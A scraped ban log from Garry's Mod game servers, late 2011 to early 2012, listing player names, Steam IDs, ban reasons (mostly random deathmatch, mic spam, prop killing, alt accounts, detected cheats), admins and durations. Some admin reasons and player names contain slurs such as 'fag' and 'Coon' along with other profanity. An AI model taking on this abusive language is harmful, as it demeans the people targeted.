STEAM_0:0:27091521 rdm on mass scale MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +7:56 pm 06-01-12 P0WNapple STEAM_0:0:34141345 karma +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:55 pm 06-01-12 Hunter STEAM_0:0:40596784 KARMA! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 Unbanned +5:44 pm 06-01-12 Isaacdobo STEAM_0:0:41228426 fuck off +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Puzzle 0:0:20 Unbanned +4:12 pm 05-01-12 xCriminalPlayerx (Hunter) STEAM_0:0:40596784 fag ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +3:56 pm 05-01-12 á??(ಥç??ಥ)á??SerdarCiraK STEAM_0:1:44790752 +rdming +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +10:56 pm 04-01-12 Unknown STEAM_0:1:17212947 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:15 pm 04-01-12 Ballbo baggins STEAM_0:1:9686068 Fuck off +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +10:14 pm 04-01-12 Awesome Sauce STEAM_0:1:27116960 RDM Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:14 pm 04-01-12 HamCake STEAM_0:1:20445939 RDM Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:30 pm 04-01-12 Brian Stwart STEAM_0:1:30384245 Mass RDM + mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:20:40 Unbanned +8:22 pm 04-01-12 Unknown STEAM_0:1:20031317 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:52 pm 04-01-12 Fox93 STEAM_0:0:32863847 prop kill then later map +fucking +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 0:0:10 +Unbanned +7:28 pm 04-01-12 Megatron STEAM_0:1:17126400 prop killing! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 6:20:40 Unbanned +6:16 pm 04-01-12 darkball1 STEAM_0:0:15620064 Alt of banned ID +STEAM_0:0:31835424 (Console) Fretta|Tigergruppe Kommand Deathrun +0:23:47 Unbanned +6:03 pm 04-01-12 waterbolt STEAM_0:0:31835424 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:19 pm 03-01-12 Lambent Cookie STEAM_0:1:47724049 teamkill + will +not shut the hell up +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:3:0 Unbanned +9:10 pm 03-01-12 Unknown STEAM_0:1:37704279 Mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:08 pm 03-01-12 Facerape ! STEAM_0:1:24418752 rdm mic spam troll and +was warned too many times +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 6:21:0 Unbanned +3:57 pm 03-01-12 Unknown STEAM_0:0:32966149 Deleting base during +war Nekoace Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +3:28 pm 03-01-12 Unknown STEAM_0:0:42207707 Claiming to get me +banned Nekoace Official Zombified World|Lvl Cap +10 Zombified World +0:1:40 Unbanned +2:48 am 03-01-12 >AOG< Mr.Daniel STEAM_0:1:29206644 rdm nub +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:32 pm 02-01-12 Unknown STEAM_0:0:31756592 Coon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:35 pm 02-01-12 Brian Stwart STEAM_0:1:30384245 KARMA! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:21 pm 02-01-12 Unknown STEAM_0:1:42860788 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:09 pm 02-01-12 Unknown STEAM_0:1:42860788 rdm then left : D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:03 pm 02-01-12 ben STEAM_0:0:43915288 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:09 pm 02-01-12 rickytheman STEAM_0:1:33420817 Faction Exploiting +multiple times. Nemesis Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +6:02 pm 02-01-12 [TT] Ouuue c'est moi l'hiboue STEAM_0:1:14282857 +Faction Exploiting - Learn the rules Nemesis Official Zombified +World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +3:14 pm 02-01-12 ovz STEAM_0:1:41375033 mass rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:58 pm 02-01-12 Unknown STEAM_0:0:47772765 Cheat: injection (From +C) (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:36006702 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:44098755 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:45424776 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:37641228 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:40152334 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:41799917 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:22010562 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:24822120 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:10713231 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:36131576 Cheat: zbot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +2:01 pm 02-01-12 Gandalf STEAM_0:0:9908484 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 416:16:11 Banned +1:13 pm 02-01-12 Xapyto Y3ymaki STEAM_0:0:40703324 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:14 am 02-01-12 Unknown STEAM_0:0:44013956 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:35 am 02-01-12 Unknown STEAM_0:1:21039301 Ban Request (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:35 am 02-01-12 Unknown STEAM_0:1:32973101 Ban Request (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:00 am 02-01-12 SoureCrap STEAM_0:0:30096414 Propkilling +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:59 pm 01-01-12 :D lol :D STEAM_0:1:32425210 Propkilling - fuck +off Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:16 pm 01-01-12 Unknown STEAM_0:0:27644179 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:00 am 01-01-12 wafflemonger123 STEAM_0:1:47936747 Alt of banned ID +STEAM_0:0:40228027 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:4:46 Unbanned +6:47 am 01-01-12 vookod STEAM_0:0:40228027 RDM and completely +ignoring admin with several warnings. +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +4:13 am 01-01-12 Ukmercenary1996 STEAM_0:0:32905074 Ignoring admin +and all warnings, constant micspam. +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +1:18 am 01-01-12 Unknown STEAM_0:0:19232401 Trader blocking, ignoring +admin, discon. white under attack. +[SP]+ Marked One [SK] Official +Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +9:56 pm 31-12-11 Unknown STEAM_0:1:29033036 RDM disconnect [ +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:20 am 31-12-11 [Epicx] Nudel* STEAM_0:1:36327141 Alt of banned ID +STEAM_0:1:39921496 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:9 Unbanned +12:59 am 31-12-11 Waterfiend [previously atv101] STEAM_0:0:25014603 +Mic Spam Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +12:49 am 31-12-11 Unknown STEAM_0:1:42176271 RDM Detective and +Left. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:14:0 Unbanned +12:17 am 31-12-11 Cuddly Rabbit <3 STEAM_0:0:30497374 Blocking +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 +Unbanned +11:30 pm 30-12-11 [Epicx] crank STEAM_0:1:39921496 MICSPAM +[SP]+ +EDDIE STONE (incognito) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +10:45 pm 30-12-11 Happy New Year STEAM_0:1:22172556 RDM +[SP]+ EDDIE +STONE (incognito) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +6:56 pm 30-12-11 Epic Legion STEAM_0:0:30194937 Revenge RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:55 pm 30-12-11 Da Ninja Panda STEAM_0:1:40278895 Revenge RDM ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +1:37 pm 30-12-11 Unknown STEAM_0:0:30812563 +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:07 pm 29-12-11 Gino Pietermaai- TERUG STEAM_0:0:46563870 Alt of +banned ID STEAM_0:1:34494278 (Console) Fretta|Tigergruppe Kommand +Deathrun Permanent Banned +5:58 pm 29-12-11 Cody STEAM_0:1:17183086 random crowbarring +[SP]+ +EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +5:46 pm 29-12-11 aggett-2-6-7-ttegga STEAM_0:1:37401151 MASS RDM ++[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +3:38 pm 29-12-11 THE RANDOM GUY STEAM_0:1:9089059 Alt of banned ID +STEAM_0:0:12119174 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 20:5:5 Unbanned +12:10 pm 29-12-11 Kampf-Fussel STEAM_0:1:10988764 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +6:04 am 29-12-11 Dark Jin STEAM_0:1:42176271 RDM. Goobye +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +5:59 am 29-12-11 Unknown STEAM_0:1:19696111 RDM. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:15 Unbanned +9:44 pm 28-12-11 zxluc STEAM_0:1:44706585 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:16 pm 28-12-11 Unknown STEAM_0:0:33418440 Calling me a fag/bitching +at me after being banned; ban extended. +[SP]+ ULTRA Official +Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:12 pm 28-12-11 Spadedλces STEAM_0:0:33418440 Teaching you what +your mom never raised you to do: Being honest CRITTLESTICKS Official +Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +9:12 pm 28-12-11 O° STEAM_0:0:12119174 Propkilling then lying like a +bitch CRITTLESTICKS Official Zombified World|Lvl Cap +10 Zombified +World 20:23:32 Unbanned +7:46 pm 28-12-11 link boy STEAM_0:0:26501088 Alt of banned ID +STEAM_0:1:20075624 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:21:10 Unbanned +7:10 pm 28-12-11 robogirl STEAM_0:0:37972008 Come back tomorrow ++[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:56 pm 28-12-11 Mini Lord STEAM_0:1:20075624 RDMING DETECTIVE AND +ADMIN +[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +9:08 pm 27-12-11 braders0508 STEAM_0:0:46898168 Excessive RDM - Now +piss off. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +8:53 pm 27-12-11 Unknown STEAM_0:1:36261246 RDM and Left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:11 pm 27-12-11 Worldspawn STEAM_0:0:40609338 RDM - Happy New Year ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:0:0 Unbanned +7:39 pm 27-12-11 [CG] Bluff STEAM_0:1:33749817 RDMing as Detective +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:05 pm 27-12-11 Unknown STEAM_0:1:22772100 Cheat: whtogg +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:04 pm 27-12-11 Unknown STEAM_0:1:11650863 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:16319183 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:40161943 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:26053222 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:16230103 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:33891807 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:16350495 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:31925018 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:20703502 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:28307108 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:40143824 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:31811639 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:25160443 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:26118232 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:36232848 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:00 pm 27-12-11 Unknown STEAM_0:1:9940783 RDM constantly. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Deathrun 3:0:0 Unbanned +12:09 pm 27-12-11 Unknown STEAM_0:1:19147578 Multiple RDMs both as +innocent and detective. +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +6:43 pm 26-12-11 ︻è?«â??ä¸?PRO $$$$$$$$ VOVA STEAM_0:0:30205118 +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:48 pm 26-12-11 mr waffleburger STEAM_0:0:35333273 Detective RDM +detective. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:08 am 26-12-11 lolsama STEAM_0:1:12306664 RDM + cocksuck +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:08 am 26-12-11 Commado Queer STEAM_0:1:37819177 RDM + cocksuck ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:58 am 26-12-11 F/U=MAN STEAM_0:0:8002216 KARMA! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:24 am 25-12-11 speuda STEAM_0:0:25701342 Prop killing +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +10:57 am 25-12-11 Unknown STEAM_0:1:29914427 Was permabanned +before. +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +7:45 pm 24-12-11 Unknown STEAM_0:0:39731791 rdm and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:23:0 +Unbanned +4:47 pm 24-12-11 Unknown STEAM_0:1:2498134 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +4:46 pm 24-12-11 [LdD][TT]celtix21(lucas) STEAM_0:1:21039301 +Prop-Push/Kill - Ban Request. Merry Christmas.+ +[SP]+ Nemesis +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +4:46 pm 24-12-11 anthonyr62 STEAM_0:1:32973101 Prop-Push/Kill - Ban +Request. Merry Christmas. +[SP]+ Nemesis Official Zombified World|Lvl +Cap +10 Zombified World 7:0:0 Unbanned +4:19 pm 24-12-11 Unknown STEAM_0:0:26877474 rdm then left +karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:1:0 Unbanned +4:06 pm 24-12-11 aleksander STEAM_0:0:42915922 KARMA! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:4:20 +Unbanned +8:07 pm 23-12-11 Your mother! STEAM_0:0:18659740 Whining about false +RDM, RDMing an admin and propkilling +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +11:39 pm 22-12-11 LockeryRung STEAM_0:1:22671553 Alt of banned ID +STEAM_0:0:10780294 (Console) Fretta|Tigergruppe Kommand Deathrun +0:22:52 Unbanned +10:31 pm 22-12-11 Ty STEAM_0:0:10780294 Teamkilling Traitors - Merry +Christmas +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +10:22 pm 22-12-11 ShiftyWill STEAM_0:1:29501701 Teamkilling Traitors +- Merry Christmas. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:14:0 Unbanned +5:35 pm 22-12-11 Unknown STEAM_0:1:16953455 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +4:23 pm 22-12-11 Deathknightrofl STEAM_0:0:21535588 Not welcome +here Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +372:0:0 Banned +9:18 pm 21-12-11 G.B. Hindert STEAM_0:0:17086047 prop push, rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:02 pm 21-12-11 Unknown STEAM_0:1:42934133 RDM+disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +9:45 pm 20-12-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 Stop +spamming RDM in chat. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:10 Unbanned +8:49 pm 20-12-11 zxluc STEAM_0:1:44706585 RDM, Lame excuse. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:10 pm 19-12-11 FaceRape<3 STEAM_0:1:24418752 Ghosting/RDM. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +4:42 pm 19-12-11 Memhislegion95 STEAM_0:1:14273655 RDMing as the D +with some other tit +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:1:0 Unbanned +4:41 pm 19-12-11 FallenAssassin STEAM_0:0:37318414 RDM's +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +2:37 am 19-12-11 F/U=MAN STEAM_0:0:8002216 RDM and total disrespect +of the rules. Fuck off. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 5:0:0 Unbanned +2:31 am 19-12-11 Unknown STEAM_0:1:40176308 RDMing AFK ' s then +leaving. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +12:43 am 19-12-11 M1K3 STEAM_0:0:26308023 Alt of banned ID +STEAM_0:1:26250283 (Console) Fretta|Tigergruppe Kommand Gamemaster +Permanent Banned +10:02 pm 18-12-11 Unknown STEAM_0:1:33966628 RDM as detective then +left Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +9:54 pm 18-12-11 curriehawk STEAM_0:0:38843145 I revive you and this +is the thanks? RDMing Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:6:40 Unbanned +8:54 pm 18-12-11 Unknown STEAM_0:1:26949104 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:28307108 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:43159831 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:24199196 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:1:26188522 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:1:20280169 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:27 pm 18-12-11 [GR] CHURCH LIKE A BOSS [GR] STEAM_0:1:15949343 +RDMing as detective Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:4:0 Unbanned +3:31 pm 18-12-11 milkftw STEAM_0:1:23776488 Alt of banned ID +STEAM_0:1:30107073 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +3:13 pm 18-12-11 Unknown STEAM_0:0:40276886 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:23 pm 18-12-11 [O_xmp]demon567 rus STEAM_0:1:14410571 teamkiller +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:13 am 18-12-11 Unknown STEAM_0:1:13950175 RDM+leave +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +10:11 am 18-12-11 Unknown STEAM_0:1:2538660 RDM+leave and mic spam ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +1:55 am 18-12-11 Soda51 STEAM_0:1:34036529 failed the test MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:38 pm 17-12-11 FaceRape<3 STEAM_0:1:24418752 Didn't i already ban +you? Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +8:22 pm 17-12-11 rtsgamer55 STEAM_0:0:26016504 RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +5:23 pm 17-12-11 macd1102 STEAM_0:1:32218025 Alt of banned ID +STEAM_0:1:5066699 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:52 pm 17-12-11 SxC Blood STEAM_0:0:47018170 Alt of banned ID +STEAM_0:1:14496711 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:46 pm 17-12-11 Unknown STEAM_0:1:24418752 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:3:20 Unbanned +2:46 pm 17-12-11 Unknown STEAM_0:0:39362192 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:3:20 Unbanned +2:43 pm 17-12-11 Unknown STEAM_0:0:31756592 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +2:22:0 Unbanned +2:43 pm 17-12-11 Unknown STEAM_0:1:21564844 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +2:22:0 Unbanned +1:15 am 17-12-11 *|Pirate|* Justin Bieber Chick STEAM_0:0:25155785 +no ColdFusion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:12 Unbanned +6:37 pm 16-12-11 Unknown STEAM_0:0:38574114 Ban Request/RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +1:12:40 Unbanned +8:48 pm 15-12-11 Unknown STEAM_0:0:43064487 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:11 pm 15-12-11 Legit Ù?Ù?Ù?Ù?Ù?Ù?Ù? STEAM_0:1:19147578 no, fuck +off +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 9:17:20 Unbanned +9:16 pm 14-12-11 AbE kAtTeN (dk) à¹?Û£Û?Oà¹?Û£Û? STEAM_0:0:41248773 +teamkill +mic spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:18:40 Unbanned +11:40 pm 13-12-11 Rainbow Dash STEAM_0:0:29884917 ( TEAM ) Rainbow +Dash : dob i think your a bad influence on your mother +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:05 pm 13-12-11 Unknown STEAM_0:1:30430177 Multiple accounts of +RDM. Flaming other users and DDoS threats. (Console) Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +9:53 pm 13-12-11 Skywind STEAM_0:1:38929118 mass RDM + this is 2 +ban +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 15:23:20 Unbanned +9:20 pm 13-12-11 carpentert007 STEAM_0:0:41802061 Alt of banned ID +STEAM_0:1:32161436 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +8:59 pm 13-12-11 Unknown STEAM_0:1:30430177 Ban request and was +warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 14:0:0 Unbanned +9:26 pm 12-12-11 Unknown STEAM_0:0:34731259 Multiple rules broken , +was warned many times +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 6:22:40 Unbanned +8:09 pm 12-12-11 Cobbor STEAM_0:1:45129586 You were warned, Mic spam ++ rdm +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:10:0 Unbanned +10:47 pm 11-12-11 Rainbow Dash STEAM_0:0:29884917 Rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +10:31 pm 11-12-11 Xtrento STEAM_0:0:36387946 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 23:20:13 Unbanned +9:18 pm 11-12-11 kevinexplenda23 STEAM_0:0:25277254 Spam - Twat ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:36 pm 11-12-11 Skywind STEAM_0:1:38929118 rdm THEN Ignore admin 